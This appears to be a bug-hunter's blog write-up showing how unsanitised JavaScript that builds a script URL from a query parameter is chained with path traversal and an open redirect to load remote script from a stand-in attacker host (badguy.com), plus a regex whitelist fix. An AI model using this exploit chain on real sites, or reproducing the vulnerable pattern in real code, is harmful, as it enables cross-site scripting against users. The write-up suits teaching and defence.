The Code
The vulnerable page was loaded with a URL something like this:
https://app.test.com/timezone?c=testAnd contained Javascript looking something like this:
var country = location.search.slice(3); var s = document.createElement('script'); var src = '/js/timezone-js/timezone-data[' + country + '].min.js'; s.src = src; document.getElementsByTagName('head')[0].appendChild(s);
Can you spot how to exploit it? :)
============================================
In a nutshell the JS appends a new <script> element to the <head> element. The user is able to modify the country part of the script element as this is retrieved from the URL parameter "c".
Once the above script runs you end up with something like:
<script src="/js/timezone-js/timezone-data[test].min.js"></script>So how can we exploit this?
From Text to Traversal
In terms of regular inline XSS there are two potential injection points, either directly in the JS or within the HTML output. In this instance neither work because of the way the input is handled and encoding.
We can however use path traversal to load any JS file on the server. For example, to load a legitimate file with traversal we could do this:
https://app.test.com/timezone?c=/../../../js/timezone-js/timezonedata[UK.min.js]?
But we still have no way to load our own JS...or do we?
From Traversal to Dead End?
The easiest way to get JS execution from the traversal would have been to locate an upload feature or error message on the same domain that allowed the user to control the first few bytes of the response. This would have allowed the inclusion of a JS payload that could have been accessed through the traversal.
For example:
https://app.test.com/timezone?c=/../../../../uploads/file?Unfortunately I couldn't find such a place....but I did have an open redirection I could play with.
From Redirection to JS
The open redirection was pretty standard something like:
https://app.test.com/accounts/logout/?next=https://badguy.comOpen redirection is often classed as medium/low risk but in this instance it was the final piece of the XSS puzzle as it would allow us to redirect a browser offsite to grab remote JS.
Combining the traversal and redirection the complete attack URL was:
https://app.test.com/timezone?c=/../../../../accounts/logout/?next=https://badguy.com/script.js?
Which would cause the in-page JS to create a script tag that would load our malicious remote JS:
<script src="/../../../../accounts/logout/?next=https://badguy.com/script.js?].min.js"><script>
Congratulations you've achieved XSS by loading remote JS from traversal and redirection!
The Fix
I definitely think this functionality could have been handled in a cleaner way using server-side code. A quick fix though would have been to whitelist the country parameter to prevent path traversal.
country = country.replace(/[^\w\-]/g, '');
Final Thoughts
I really enjoyed exploiting this issue as it involved stringing multiple flaws together to achieve a working XSS which at first glance didn't seem possible. I guess the moral of the story is always think outside the box and don't write sloppy Javascript :)
If you have any questions or feedback just drop me a comment below. Pwndizzle out.